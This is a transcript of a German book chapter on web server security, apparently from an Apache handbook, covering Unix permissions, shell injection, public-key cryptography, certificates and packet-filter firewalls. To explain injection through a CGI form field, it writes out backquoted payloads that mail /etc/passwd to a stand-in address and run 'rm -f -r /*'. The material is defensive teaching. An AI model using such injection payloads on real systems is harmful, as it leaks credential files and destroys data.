Sicherheit. FirstLeft. Max. Linie. Max. Linie KAPITEL. Kapitel

Transkript

1 FirstLeft. Kapitel KAPITEL Sicherheit Der Betrieb eines Webservers wirft verschiedene sicherheitsrelevante Fragen auf. Hier wollen wir uns diese Fragen etwas allgemeiner ansehen, später gehen wir dann detailliert auf den notwendigen Code ein. Der Gedanke, unbefugte Personen auf unserem Computer zu finden, macht uns ebenso viel Angst wie der Gedanke, unbefugte Personen in unserem Haus vorzufinden. Üblicherweise ist ein Desktop-PC recht sicher. Ein Eindringling müsste sich physisch Zugang zu unserem Heim oder zu unserem Büro verschaffen, um an die Informationen zu gelangen oder sie zu beschädigen. Sobald Sie den Rechner aber mit einer Telefonleitung verbinden, ist es so, als würden Sie in die Nachbarschaft von 50 Millionen Menschen ziehen (von denen nicht alle vertrauenswürdig sind), Ihre Haustür aushängen und ausgehen, ohne das Licht auszumachen, während die Kinder im Bett liegen. Eine umfassende Darstellung des Themas Computersicherheit würde eine Bibliothek füllen. Der Kernpunkt besteht aber darin, dass wir es Fremden unmöglich machen wollen, unsere Daten zu kopieren, zu verändern oder zu löschen. Wir wollen auch unterbinden, dass Fremde ohne unsere Zustimmung irgendwelche Programme auf unseren Rechnern ausführen. Fast ebenso wichtig ist, dass wir verhindern wollen, dass unsere Freunde und legitime Benutzer Fehler machen, deren Konsequenzen ebenso schwerwiegend sein können wie mutwilliger Vandalismus. So könnten sie zum Beispiel den folgenden Befehl ausführen: rm -f -r * Damit würden sie alle ihre Daten und Unterverzeichnisse löschen, wären aber nicht in der Lage, diese drastische Aktion in einem Bereich auszuführen, der jemand anderem gehört. Natürlich hofft man, dass niemand so einen Fehler begeht, aber auch weniger leicht zu erkennende Fehler können genauso fatale Folgen haben. Soweit es den Systemdesigner betrifft, gibt es kaum einen Unterschied zwischen verbrecherischer und fahrlässiger Ignoranz. Gegen beide müssen wir uns schützen. 216 Kapitel 11: Sicherheit

2 Rechts Wir betrachten die grundlegenden Sicherheitsvorkehrungen, die bei einem System mit einer Reihe von Terminals (die von 2 bis reichen können) verwendet werden, und betrachten dann, wie man das auf einen Webserver übertragen kann. Wir gehen davon aus, dass Sie mit einem ernsthaften Betriebssystem wie Unix arbeiten. Wir gehen in diesem Kapitel nicht weiter auf Win32 ein, obwohl Apache auf diesem Betriebssystem läuft. Unserer Ansicht nach sollten Sie nicht mit Win32 arbeiten, wenn Sicherheit ein Thema für Sie ist. Wir wollen damit nicht sagen, dass Win32 keine Sicherheit bietet, sie ist aber nur unzureichend dokumentiert, wird von nur sehr wenigen Leuten verstanden und laufend durch Bugs und dubiose Praktiken (zum Beispiel durch die Befürwortung von ActiveX-Downloads über das Web) unterminiert. Die grundlegende Vorstellung von Sicherheit sieht bei einem normalen Unix so aus, dass jede Operation am Computer durch eine bekannte Person vorgenommen wird, die für ihre Handlungen zur Verantwortung gezogen werden kann. Wer den Computer nutzen möchte, muss sich anmelden (einloggen), damit der Computer weiß, wer er oder sie ist. Jeder Benutzer identifiziert sich durch ein eindeutiges Passwort, das in einer Sicherheitsdatenbank überprüft wird, die vom Administrator gepflegt wird. (Immer häufiger, weil das sicherer ist, wird dies auch durch Prüfung des privaten Teils eines Public/Private- Schlüsselpaares erreicht.) Nach dem Login wird jede Person einer Gruppe von Leuten mit den gleichen Sicherheitsprivilegien zugeordnet. Bei einem wirklich sicheren System kann jede Aktion des Benutzers protokolliert werden. Jedes Programm und alle Datendateien eines Rechners gehören in eine bestimmte Sicherheitsgruppe. Der Effekt des Sicherheitssystems ist also, dass ein Benutzer nur ein Programm ausführen kann, das seiner Sicherheitsgruppe zur Verfügung steht, und dieses Programm kann nur auf Dateien zugreifen, die ebenfalls der Gruppe des Benutzers zur Verfügung stehen. Auf diese Weise können wir verhindern, dass die Buchhaltungsmitarbeiter an den technischen Zeichnungen herumfummeln und dass die Vertriebsmitarbeiter in den Buchaltungsbereich vordringen, um ihre Provisionen ein wenig aufzupäppeln. Natürlich muss es jemanden geben, der das Recht hat, alles zu ändern. Anderenfalls könnte das System gar nicht erst eingerichtet werden. Diese Person ist der Superuser, der sich als root einloggt und ein supergeheimes Passwort verwendet, das in großen Buchstaben an der Wand über der Systemconsole geschrieben steht. Er ist unentbehrlich, aber aufgrund seiner unglaublichen Macht ist er auch eine sehr beunruhigende Person. Wenn sich ein Feind erfolgreich als diese Person ausgeben kann, haben Sie ein echtes Problem. Und das ist natürlich genau das Ziel der Wölfe: mit Superuser-Privilegien in den Rechner einzudringen, um jedes gewünschte Programm ausführen zu können. Schlägt das fehl, möchte der Eindringling wenigstens Privilegien besitzen, die über den ihm eigentlich zustehenden Rechten stehen. Wenn ihm das gelingt, kann er möglicherweise Daten löschen, Dateien lesen, die er nicht lesen sollte, und Passwörter für andere, wertvollere Systeme ausspähen. Unsere Aufgabe besteht darin, dies zu verhindern. Sicherheit 217

3 Interne und externe Benutzer Wie gesagt, bestehen Sicherheitsvorkehrungen bei den meisten ernsthaften Betriebssystemen (auch Unix) darin, die Fähigkeit des Benutzers einzuschränken, bestimmte Operationen durchführen zu können. Die genauen Details sind unwichtig, aber wenn wir dieses Prinzip auf einen Webserver anwenden, müssen wir entscheiden, wer die Benutzer des Webservers in Hinblick auf die Sicherheit des dahinter liegenden Systems sind. Wenn wir die Sicherheit des Webservers betrachten, müssen wir erkennen, dass es grundsätzlich zwei Arten von Benutzern gibt: interne und externe. Die internen Benutzer sind die innerhalb der Organisation, der der Server gehört (oder zumindest die Benutzer, von denen die Eigentümer möchten, dass sie den Serverinhalt aktualisieren können). Die externen Benutzer sind der Rest des Internet. Nun gibt es zwischen diesen beiden Extremen natürlich noch viele Zwischenstufen, aber wir versuchen hier, den Unterschied zwischen solchen Benutzern deutlich zu machen, die den HTTP- Server nur zum Betrachten von Seiten verwenden dürfen (den externen Benutzern), und denen, denen ein umfassender Zugriff auf den Webserver erlaubt ist (den internen Benutzern). Wir müssen die Sicherheit für beide Gruppen betrachten, aber die externen Benutzer bereiten uns größere Sorgen und müssen daher strenger kontrolliert werden. Die internen Benutzer sind nicht notwendigerweise nettere Menschen und machen auch nicht unbedingt weniger Unfug. In mancherlei Hinsicht machen sie wahrscheinlich mehr Ärger, haben ein Motiv und die nötige Sachkenntnis, aber um es mal so zu sagen sie wissen auch, wer das Gehalt überweist. Die externen Benutzer befinden sich üblicherweise außerhalb unserer Reichweite. Im Wesentlichen erlauben wir durch eine Verbindung zum Internet jedem auf der Welt, etwas auf unserem Server einzugeben. Das ist eine alarmierende Vorstellung: Wir wollen die Benutzer nur einen sehr kleinen Bereich sicherer Dinge tun lassen und sicherstellen, dass sie außerhalb dieses Bereichs nichts tun können. Das hat eine Reihe von Konsequenzen: Externe Benutzer dürfen nur in der Lage sein, auf von uns festgelegte Dateien und Programme zuzugreifen. Der Server darf nicht anfällig für verdeckte Angriffe sein. Hierzu gehören beispielsweise Requests mit sehr langen Dateinamen (die bösen Jungs hoffen, mit einem langen Namen einen Puffer fester Länge zum Überlaufen zu bringen und damit den Stack zu beschädigen) oder mit Zeichen wie!, # oder / im Seitennamen, um so einen Teil des Strings vom Betriebssystem des Servers als Befehl ausführen zu lassen. Diese Szenarien lassen sich nur durch sorgfältige Programmierung vermeiden. Apaches Ansatz für das erste Problem besteht darin, Puffer fester Länge nur für Daten fester Länge zu verwenden. 1 Das hört sich einfach an, verlangt aber ein wirklich gewissen- 1 Pufferüberläufe sind die bei weitem häufigste Ursache von Sicherheitslücken im Internet und sind nicht nur auf Webserver beschränkt. Links 218 Kapitel 11: Sicherheit

4 Rechts haftes Arbeiten. Die anderen Probleme werden von Fall zu Fall behandelt: manchmal, nachdem eine Sicherheitslücke erkannt wurde, häufig aber auch durch die sorgfältigen Überlegungen der Apache-Programmierer. Unglücklicherweise arbeitet Unix gegen uns. Erstens ist der Standard-HTTP-Port 80. Nur der Superuser kann die Bindung zu diesem Port herstellen (ein historischer Versuch von Sicherheit, der für Maschinen geeignet ist, bei denen nicht unbedingt vertrauenswürdige Personen einen Login besitzen eine Situation, die für einen modernen sicheren Webserver wohl kaum zutrifft), weshalb der Server zumindest als Superuser hochfahren muss: Das ist genau das, was wir nicht wollen. 2 Ein weiteres Problem sind die verschiedenen Unix-Shells mit ihrer reichhaltigen Syntax, die voll von cleveren Tricks von den bösen Jungs genutzt werden können, um unerwartete oder unerwünschte Dinge zu tun. Win32 ist gegen solche Probleme bei weitem nicht immun, weil die einzige verfügbare Shell (COMMAND.COM ) so leistungsschwach ist, dass sie manchmal durch Unix-Shells ersetzt wird. Nehmen wir zum Beispiel ein Formular, das wir dem Benutzer in einem HTML-Dokument zur Verfügung stellen. Der Computer des Benutzers interpretiert das Skript und bringt ein Formular auf den Schirm. Der Benutzer füllt das Formular aus und drückt den Submit-Button. Sein Rechner sendet das Formular an den Server zurück, wobei über die URL ein Skript aufgerufen wird, das den Inhalt des Formulars an eine Datei anhängt, die wir später einsehen können. Dieses Skript könnte beispielsweise die folgende Zeile enthalten: echo "You have sent the following message: $MESSAGE" Unsere Absicht ist es, über unseren Rechner eine Nachricht an den Benutzer zurückzuschicken, in der seine Nachricht an uns (im Textstring $MESSAGE) noch einmal wiederholt wird. Nun könnte uns ein schlauer oder böser externer Benutzer folgende $MESSAGE schicken: `mail wolf@lair.com < /etc/passwd` Weil Backquotes von der Shell als eingebettete Befehle interpretiert werden, hat diese Nachricht den höchst alarmierenden Effekt, dass unsere supergeheime Passwortdatei an einen völlig Fremden verschickt wird. Oder er könnte, weniger phantasievoll, aber genauso boshaft, Folgendes schicken: `rm -f -r /*` Dadurch würde das immer währende Problem einer vollen Festplatte kurzfristig behoben. 2 Hier haben wir den seltenen Fall, dass Win32 wirklich besser ist als Unix. Wir müssen bei Win32 kein Superuser sein, müssen allerdings das Recht haben, Dienste zu starten. Interne und externe Benutzer 219

5 Binäre Signaturen und virtuelles Geld Auf lange Sicht gesehen, glauben wir, dass virtuelles oder binäres Geld der wichtigste Anwendungsfall der Kryptographie sein wird. Aus anderer Perspektive könnte das die Möglichkeit digitaler Signaturen, und damit elektronischer Schecks, bedeuten. Auf den ersten Blick erscheint das unmöglich. Die Befugnis zur Ausstellung von Dokumenten wie Schecks wird durch eine Unterschrift (Signatur) nachgewiesen. Dieses System ist einfach (und offen für Betrügereien) und basiert zurzeit noch auf Papier. Wir könnten das direkt auf das Web übertragen, indem wir die Unterschrift einer Person einscannen und diesen Scan zur Validierung ihrer Dokumente verwenden. Allerdings hat sich jegliche mit dieser Unterschrift verbundene Sicherheit in Luft aufgelöst. Ein Fälscher muss einfach nur das Bitmuster kopieren, aus dem diese Signatur besteht. Nachdem das Bitmuster gespeichert wurde, hängt der Fälscher dieses Muster bei jedem Einkaufsbummel an seine Bestellung an, und der kostenlosen Selbstbedienung steht nichts mehr im Wege. Bei der digitalen Signatur werden bestimmte Aktionen mit den von der anderen Seite gelieferten Daten durchgeführt, die nur von Ihnen durchgeführt werden können. Auf diese Weise ist sichergestellt, dass Sie wirklich der sind, für den Sie sich ausgeben. Die möglichen Aktionen wollen wir uns nachfolgend näher ansehen. Die Ideen der so genannten Public Key (PK) Encryption sind mittlerweile gut bekannt, weshalb wir die wichtigen Punkte nur kurz erwähnen wollen: Sie besitzen zwei Schlüssel (Keys): einen Schlüssel (der öffentliche Schlüssel oder Public Key), der Nachrichten verschlüsselt, und einen Schlüssel (Ihr privater Schlüssel), mit dem durch Ihren öffentlichen Schlüssel codierte Nachrichten entschlüsselt werden können (und umgekehrt). Im Gegensatz zur konventionellen Ver- und Entschlüsselung können Sie sowohl mit dem privaten als auch mit dem öffentlichen Schlüssel verschlüsseln und mit dem jeweils anderen entschlüsseln. Den öffentlichen Schlüssel geben Sie jedem, der danach fragt, während Ihr privater Schlüssel geheim bleibt. Weil die zur Ver- und Entschlüsselung verwendeten Keys nicht gleich sind, nennt man das System auch Asymmetric Key Encryption. Die vorhin erwähnte»aktion«, das heißt nachzuweisen, dass Sie der sind, für den Sie sich ausgeben, besteht also darin, irgendeinen Text mit Hilfe Ihres privaten Schlüssels zu verschlüsseln. Jeder kann ihn dann mit Hilfe Ihres öffentlichen Schlüssels entschlüsseln. Ergibt die Entschlüsselung einen vernünftigen Text, stammt dieser von Ihnen, andernfalls nicht. Lassen Sie uns diese Technik auf einfache Herzensangelegenheiten anwenden. Sie treten einer Single-Newsgruppe bei, in der Leute ihre Vorzüge und ihre Bereitschaft zu einem Treffen mit ähnlich romantisch veranlagten Personen bekannt geben. Die Ihnen sympatisch erscheinende Person veröffentlicht ihren Public Key am Ende der Nachricht, in der er oder sie seine bzw. ihre Vorzüge anpreist. Sie antworten: Links 220 Kapitel 11: Sicherheit

6 Rechts Ich bin (hier folgt die unwiderstehliche Beschreibung Ihrer selbst). Du findest mich um 00:30 am Schuppen. Mein Herz brennt.. (etc.) Sie verschlüsseln diese Nachricht mit dem Public Key des bzw. der Angebeteten und senden sie. Wer auch immer diese Nachricht sieht oder irgendwo vorfindet, ist nicht in der Lage, den Zeitpunkt Ihres Stelldicheins zu ermitteln. Der oder die Angebetete hingegen kann sie entschlüsseln und Ihnen eine verschlüsselte Antwort zukommen lassen: JA, ja, immer wieder JA! Zur Verschlüsselung wird wieder der private Schlüssel verwendet. Wenn Sie diese Nachricht mit Hilfe des öffentlichen Schlüssels dekodieren können, dann können Sie sicher sein, dass sie von der richtigen Person stammt und nicht von einigen Scherzbolden, die Ihnen den Abend verderben wollen. Nun kann aber jeder, der den öffentlichen Schlüssel besitzt, auch die Antwort entschlüsseln. Ihre wahre Liebe könnte daher die Antwort mit seinem oder ihrem privaten Schlüssel codieren (um zu beweisen, dass die Nachricht wirklich von ihm oder ihr stammt) und sie danach noch einmal mit Ihrem öffentlichen Schlüssel codieren, um zu verhindern, dass jemand anders sie lesen kann. Sie entschlüsseln sie dann zweimal, und alles ist gut. Die Module zur Ver- und Entschlüsselung haben eine ganz entscheidende Eigenschaft: Obwohl Sie den Schlüssel zur Verschlüsselung in der Hand halten, können Sie daraus nicht den zur Verschlüsselung notwendigen Schlüssel ableiten (zugegeben, Sie können, aber nur nach mehreren Jahren Rechenarbeit). Das liegt daran, dass die Verschlüsselung mit einer sehr großen Zahl (dem Schlüssel) erfolgt, während die Entschlüsselung die Kenntnis der Primfaktoren verlangt, die nur sehr schwer zu bestimmen sind. Die Leistungsfähigkeit der PK-Verschlüsselung wird an der Länge des Schlüssels gemessen, weil das die Zeitdauer beeinflusst, die zur Berechnung der Primfaktoren notwendig ist. Die bösen Jungs (beachten Sie die zweite Fußnote in Kapitel 1) und seltsamerweise die amerikanische Regierung würden es gerne sehen, wenn die Leute nur kurze Schlüssel verwenden, weil sie so alle Nachrichten knacken können, die sie knacken wollen. Leute, die das nicht für eine gute Idee halten, verwenden einen langen Schlüssel, damit ihre Nachrichten nicht geknackt werden können. Die einzige praktische Einschränkung für längere Schlüssel besteht darin, dass die Konstruktion und die Summenberechnung immer länger dauert, je länger der Schlüssel ist. Ein Experiment in Sachen»Knacken eines PK-Schlüssels«wurde 1994 mit 600 Freiwilligen über das Internet durchgeführt. Es waren 8 Monate und 1600 Computer erforderlich, um die Primfaktorzerlegung einer 429-Bit-Zahl (siehe PGP: Pretty Good Privacy von Simson Garfinkel [O Reilly, 1994]) durchzuführen. Diese Zeit verdoppelt sich etwa, sobald 10 weitere Bits hinzukommen. Die gleiche Gruppe würde für einen 1024-Bit- Schlüssel Abermillionen Jahre brauchen. Irgendwas muss sich bis zum Jahr 2000 geändert haben, als ein schwedisches Team US-Dollar von Simm Singh, dem Autor von The Code Book (Anchor Books, 2000), für das Lesen einer mit einem 512-Bit-Schlüssel verschlüsselten Nachricht gewann. Sie benötigten dazu 70 Jahre PC-Zeit. Binäre Signaturen und virtuelles Geld 221

7 Allerdings kann ein Durchbruch in der Algebra das Ganze über Nacht ändern. Auch sagen Verfechter der Quanten-Computer voraus, dass diese (bislang nur konzeptionell existierenden) Rechner so viel schneller sein werden, dass 1024-Bit-Schlüssel in einem auch für Menschen absehbaren Zeitraum zu knacken sein werden. Wir müssen uns daran erinnern, dass vollkommene Sicherheit (egal ob bei der Verschlüsselung, Safes, Abwehr-Rakten, Burgen, Festungen...) ein nicht zu erreichendes Ziel darstellt. Wir können bestenfalls den Angreifer so lange aufhalten, dass er die Daten nicht mehr haben will, das Interesse verliert, erwischt wird oder an Altersschwäche stirbt. Für den Augenblick erfüllt die PK-Verschlüsselungsmethode aber einige der hoch gesteckten Anforderungen der Kryptographie-Gemeinde: Sie ist (soweit wir wissen) in realistischen Zeiträumen nicht zu knacken. Sie ist portabel. Der öffentliche Schlüssel eines Benutzers muss nur 128 Bytes lang 3 sein und kann durchaus kürzer sein. Jeder kann verschlüsseln, aber nur der Besitzer des privaten Schlüssels kann wieder entschlüsseln. Anders ausgedrückt bedeutet das: Wenn ein privater Schlüssel das Dokument verschlüsselt und der zugehörige öffentliche Schlüssel wieder Klartext liefert, kann man sicher sein, dass die richtige Person das Dokument signiert hat. Die Entdecker der Public-Key-Verschlüsselung müssen geglaubt haben, es sei Weihnachten, als sie das alles erkannten. Andererseits ist PK eine der wenigen Verschlüsselungsmethoden, die ohne Datenverkehr geknackt werden kann. Der klassische Weg zum Entschlüsseln von Codes besteht darin, ausreichend viele Nachrichten zu sammeln (was für sich genommen schon schwierig genug ist, möglicherweise sogar unmöglich, wenn der Benutzer vorsichtig ist und nur wenige Nachrichten sendet). Aus den Regelmäßigkeiten des zugrunde liegenden Textes arbeitet man sich dann zum Schlüssel zurück. Mit sehr viel Hilfe von dieser Seite konnten so die deutschen Enigma-Codes während des 2. Weltkriegs geknackt werden. Bei der PK-Methode ist zum Knacken des Codes keine Datensammlung notwendig. Sie müssen»nur«die Primfaktoren des öffentlichen Schlüssels berechnen. In dieser Hinsicht ist diese Methode also einmalig, andererseits ist das Ganze, wie wir eben gesehen haben, nicht ganz so einfach. Mit diesen beiden Zahlen, den öffentlichen und privaten Schlüsseln, sind die beiden Module austauschbar: Neben der normalen Arbeitsweise können Sie auch einen Klartext nehmen, ihn mit dem Entschlüsselungsmodul»entschlüsseln«und ihn dann mit dem Verschlüsselungsmodul»verschlüsseln«, um wieder an den eigentlichen Text zu gelangen. Der Punkt ist der, dass Sie nun eine Nachricht mit Ihrem privaten Schlüssel verschlüsseln und an jeden schicken können, der Ihren öffentlichen Schlüssel besitzt. Die Tatsache, dass beim Entschlüsseln lesbarer Text entsteht, bestätigt, dass die Nachricht von Ihnen stammt: Es handelt sich um eine nicht zu fälschende elektronische Signatur. 3 Manche Leute sagen, man sollte mit längeren Schlüsseln arbeiten, um wirklich sicher zu sein. Keiner, den wir kennen, befürwortet bislang aber mehr als 4096 Bits (512 Bytes). Links 222 Kapitel 11: Sicherheit

8 Rechts Diese interessante Tatsache ist sehr nützlich, wenn es um den Austausch von Geld über das Web geht. Sie eröffnen ein Konto bei einer Firma wie American Express. Sie möchten beim Verlag eine Kopie dieses exzellenten Buches erwerben und senden daher eine verschlüsselte Nachricht an Amex mit der Bitte, Ihr Konto zu belasten und den Betrag der Firma O Reilly gutzuschreiben. Amex kann das guten Gewissens tun (vorausgesetzt, Sie waren vernünftig und haben Ihren privaten Schlüssel nicht öffentlich gemacht), weil Sie die einzige Person sind, die diese Nachricht gesendet haben kann. E-Commerce ist (natürlich) wesentlich komplizierter, funktioniert aber grundsätzlich genauso. Eine der Schwierigkeiten liegt darin begründet, dass PK mit sehr großen Zahlen rechnen muss und daher recht langsam ist. Die oben erwähnten Liebenden könnten die gesamten Nachrichten auf diese Weise verschlüsselt haben, hätten sich dabei aber wahrscheinlich sehr gelangweilt und in der Zwischenzeit wohl jemand anderes geheiratet. Im richtigen Leben werden Nachrichten über ein schnelles, aber altmodisches System verschlüsselt, das auf einem einzelnen geheimen Schlüssel basiert, den beide Seiten kennen. Da der Schlüssel kurz ist (zum Beispiel 128 Bits oder 16 Zeichen), ist der Autausch schnell. Der Schlüssel wird dann zur Ver- und Entschlüsselung der Nachricht mit einem unterschiedlichen Algorithmus, wahrscheinlich dem International Data Encryption Algorithm (IDEA) oder dem Data Encryption Standard (DES), verwendet. So generiert beispielsweise das Paket Pretty Good Privacy einen Schlüssel und überträgt diesen mit PK. Danach wird IDEA zur Ver- und Entschlüsselung der eigentlichen Nachricht verwendet. Die Technik ist vorhanden, um diese Art der Verschlüsselung so sicher zu machen wie PK: Die einzige Möglichkeit, ein gutes System anzugreifen, besteht darin, nacheinander jeden möglichen Schlüssel auszuprobieren. Dieser Schlüssel muss nicht übermäßig lang sein, um diesen Prozess so lange dauern zu lassen, dass es praktisch nicht mehr sinnvoll ist. Wenn Sie beispielsweise jede Möglichkeit eines 128-Bit-Schlüssels mit einer Rate von einer Million Prüfungen pro Sekunde durchspielen, könnte es Jahre dauern, bis Sie den richtigen finden. Das entspricht lediglich mal dem Alter des Universums, ist aber doch eine recht lange Zeit. Zertifikate»Niemand ist eine Insel«mahnte uns John Donne. Wir praktizieren Kryptographie nicht als Selbstzweck, das hätte offensichtlich keinerlei Sinn. Selbst in der einfachen Situation des Spions und seines Auftraggebers ist es wichtig, sich sicher zu sein, dass man mit der richtigen Person redet. Viele Geheimdienstoperationen basieren darauf, dass man den Spion abfängt und ihn durch eigene Leute ersetzt, um den Feind mit falschen Informationen zu versorgen. Das kann für den Führungsoffizier ärgerlich und gefährlich sein, weshalb er seinen Spionen häufig kleine Tricks beibringt, von denen er hofft, dass sie vom Gegner übersehen werden und dass sich die Gegner so selbst verraten. 4 4 Leo Marks, Between Silk and Cyanide, Free Press, Zertifikate 223

9 In der größeren kryptographischen Welt des Web ist das Problem ebenso akut. Wenn wir eine Reihe von Karten bei bestellen, wollen wir sicher sein, dass die unser Geld akzeptierende Firma die Postkarten-Verkäufer sind und nicht irgendein Eindringling. Ebenso will Butterthlies, Inc. sicher sein, dass wir diejenigen sind, die wir vorgeben zu sein, und dass wir irgendein Konto besitzen, vom dem die herrlichen Angebote beglichen werden können. Diese Probleme werden bis zu einem gewissen Punkt durch die Idee eines Zertifikats gelöst. Ein Zertifikat ist ein elektronisches Dokument, das durch ein respektables Unternehmen oder eine respektable Person unterzeichnet wird, das bzw. die man als»zertifizierungsstelle«(certification authority (CA)) bezeichnet.»unterzeichnen«bedeutet hier:»mit einem privaten Schlüssel verschlüsseln«. Dieses Dokument enthält den öffentlichen Schlüssel des Besitzers sowie einige Informationen über ihn: Name, -Adresse, Unternehmen und so weiter (siehe den Abschnitt»Ein Test-Zertifikat erzeugen«später in diesem Kapitel). Sie erhalten dieses Dokument, indem Sie ein Zertifizierungsformular ausfüllen, das eine CA anbietet. Nachdem Sie die CA mit Silber überhäuft und irgendeine Form der Prüfung durchlaufen haben, erhalten Sie die entsprechenden Daten. In Zukunft könnte die CA selbst ein Zertifikat von einer übergeordneten CA erhalten und so weiter, bis hin zu einer CA, die so erhaben und so unglaublich respektabel ist, dass sie ihr eigenes Zertifikat unterzeichnen kann. (Da eine Gottheit körperlich nicht anwesend ist, muss das wohl ein Mensch übernehmen.) Dieses Zertifikat ist als Root-Zertifikat bekannt. Bei einem guten Root-Zertifikat ist der öffentliche Schlüssel weit verbreitet und sicher verfügbar. Im Augenblick verwendet so ziemlich jede CA ein selbst unterzeichnetes Zertifikat, und selbstverständlich machen das alle öffentlichen CAs. Solange bezüglich des Umgangs und des Vertrauens zu Zertifikaten aus zweiter Hand nichts wirklich Grundlegendes erreicht wurde, gibt es keine andere Möglichkeit. Nur weil Sie Fred vertrauen, ein Zertifikat für Bill auszustellen, bedeutet das ja nun nicht, dass Sie auch den von Bill ausgestellten Zertifikaten vertrauen müssen. Ein anderer Ansatz besteht darin, ein Netzwerk verifizierter Zertifikate ein so genanntes Web of Trust (WOT) von Grund auf aufzubauen. Dabei wird mit Leuten begonnen, die den Begründern direkt bekannt sind, die dann wiederum für einen größeren Kreis bürgen und so weiter. Das ursprüngliche Schema wurde als Teil von PGP vorgeschlagen. Einen einführenden Artikel finden Sie unter Die Datenbank der PGP-Trusties ist über das Web verteilt, was die Verifikation nicht gerade vereinfacht. Thawte verwendet eine andere Version, bei der die Datenbank von dem Unternehmen verwaltet wird siehe contents.html. Diese Ansätze sind interessant, werfen aber mindestens so viele Fragen zur Natur des Vertrauens (und der Fähigkeit anderer, Entscheidungen über die Vertrauenswürdigkeit zu treffen) auf, wie sie lösen. Soweit wir wissen, spielen WOTs für den Han- Links 224 Kapitel 11: Sicherheit

10 Rechts del im Web keine bedeutende Rolle, sind im Bereich der -Sicherheit aber weit verbreitet. 5 Wenn Sie mit jemandem im Web Geschäfte machen, tauschen Sie Zertifikate aus (oder prüfen zumindest das Server-Zertifikat), die Sie von einer CA (einige werden später noch aufgeführt) erhalten haben. Sichere Transaktionen verlangen daher, dass die Parteien in der Lage sind, die Zertifikate des jeweils anderen zu überprüfen. Um ein Zertifikat überprüfen zu können, benötigen Sie den öffentlichen Schlüssel der Stelle, die das Zertifikat ausgestellt hat. Stehen Sie einem Zertifikat einer unbekannten CA gegenüber, gibt Ihr Browser bedrohliche Warnungen aus allerdings kennen die wichtigsten Browser die wesentlichen CAs, weshalb diese Situation in der Praxis nur selten auftritt. Sobald die ganze Zertifikatsstruktur einmal steht, wird es eine Kette von Zertifikaten geben, die über größere Organisationen zu einigen wenigen Root-CAs zurückführen, die wahrscheinlich so groß und beeindruckend sind wie Telefongesellschaften oder Banken, so dass an ihrer Korrektheit keine Zweifel bestehen. Die Frage der Zertifikatsketten ist die erste Stufe in der Formalisierung unserer Vorstellungen von Vertrauen in geschäftlichen und persönlichen Finanzangelegenheiten. Seit der Gründung von Banken im 13. Jahrhundert haben wir uns an die Vorstellung gewöhnt, dass wir unser schwer verdientes Geld der fremden Person hinter dem Bankschalter anvertrauen können. Im Internet wird nun aber die Beruhigung durch die teuren Gebäude und die beeindruckende Einrichtung fehlen. Diese wird zum Teil durch Zertifikatsketten ersetzt werden. Weil aber eine Person ein Zertifikat besitzt, bedeutet das noch lange nicht, dass Sie ihr uneingeschränkt vertrauen können. LocalBank kann durchaus ein Zertifikat von der MegaBank besitzen und die wieder von der Bundesbank und diese wiederum von irgendeiner Gottheit des CA-Geschäfts. LocalBank kann ihrem Hausmeister ein Zertifikat ausstellen, was aber nur bedeutet, dass er wahrscheinlich der Hausmeister ist, der er vorgibt zu sein. Sie würden ihm daraufhin aber sicher nicht automatisch die Berechtigung geben wollen, Ihr Konto mit Hausreinigungsrechnungen zu belasten. Sie würden sicher niemandem vertrauen, der kein Zertifikat besitzt. Inwieweit Sie jemandem aber vertrauen würden, hängt von den so genannten Policies ab, die von seinem Arbeitgeber und ihm Vertrauen bescheinigenden Stellen ausgegeben wurden. Das Ganze würde sich noch durch Ihre eigenen Policies ändern, über die die meisten Leute nicht viel nachdenken müssen. Das ganze Thema ist extrem zeitaufwändig und wird uns wahrscheinlich zu Tode langweilen, bevor sich alles eingespielt hat. Einen guten Überblick zum Thema finden Sie unter ssl_intro.html. Eine etwas zynischere Betrachtung eines der Autoren finden Sie unter Siehe auch Security Engineering von Ross Anderson (Wiley, 2001). 5 Obwohl einer von uns (BL) unlängst in diesem Bereich einiges an Arbeit geleistet hat: siehe aldigital.co.uk/. Zertifikate 225

11 Firewalls Es ist allgemein bekannt, dass im Web Gestalten herumgeistern, die nichts anderes im Sinn haben, als Ihre Site durcheinanderzubringen. Viele konservative Leute halten eine Firewall für die richtige Lösung, um diese Menschen aufzuhalten. Die Aufgabe einer Firewall besteht darin, Zugriffe aus dem Internet auf Rechner oder Dienste innerhalb Ihres LANs/WANs zu verhindern. Eine andere Aufgabe könnte, abhängig von Ihrer Umgebung, darin bestehen zu verhindern, dass die Benutzer Ihres LANs sich im Internet frei bewegen können. Der Begriff Firewall steht nicht für irgendeinen bestimmten Standard. Es gibt eine Vielzahl von Ansätzen, um die oben genannten Ziele zu erreichen. Die beiden Extreme stellen wir Ihnen in diesem Abschnitt vor; gleichzeitig sind viele Ansätze zwischen diesen Extremen möglich. Das Ganze ist ein sehr großer Themenkomplex. Wir versuchen hier nur, den Webmaster über vorhandene Probleme zu informieren, und wollen einige Möglichkeiten skizzieren, um diese zu lösen. Weiterführende Informationen zu diesem Thema finden Sie in Einrichten von Internet Firewalls von D. Brent Chapman und Elizabeth D. Zwicky (O Reilly Verlag). Paketfilter Diese Technik ist die einfachste Form einer Firewall. Dabei werden aus dem Internet eingehende Pakete auf bestimmte sichere Ports beschränkt. Paketfilternde Firewalls werden üblicherweise über Filter implementiert, die in Ihrem Internet-Router vorhanden sind. Das bedeutet, dass auf Ports unter 1024 kein Zugriff gewährt wird. Die Ausnahme bilden dabei bestimmte Ports für»sichere«dienste wie SMTP, NNTP, DNS, FTP und HTTP. Der Vorteil liegt darin, dass der Zugriff auf potenziell gefährliche Dienste wie die folgenden verweigert wird: finger Liefert eine Liste der eingeloggten Benutzer und teilt den bösen Jungs im weiteren Verlauf die Hälfte von dem mit, was sie benötigen, um sich selbst einzuloggen. exec Erlaubt es den bösen Jungs, Programme entfernt auszuführen. TFTP Ein nahezu sicherheitsfreies Protokoll zum Dateitransfer. Die Möglichkeiten sind furchtbar! Die Vorteile von Paketfiltern sind Schnelligkeit und Einfachheit. Es gibt aber zumindest zwei Nachteile: Selbst Standarddienste können Bugs enthalten, die einen Zugriff ermöglichen. Sobald in einen Rechner eingedrungen werden konnte, ist Ihr gesamtes Netzwerk offen. Das furchtbar komplizierte Programm sendmail ist ein schönes Beispiel für einen Service, der vielen Crackern über Jahre hinweg geholfen hat. Links 226 Kapitel 11: Sicherheit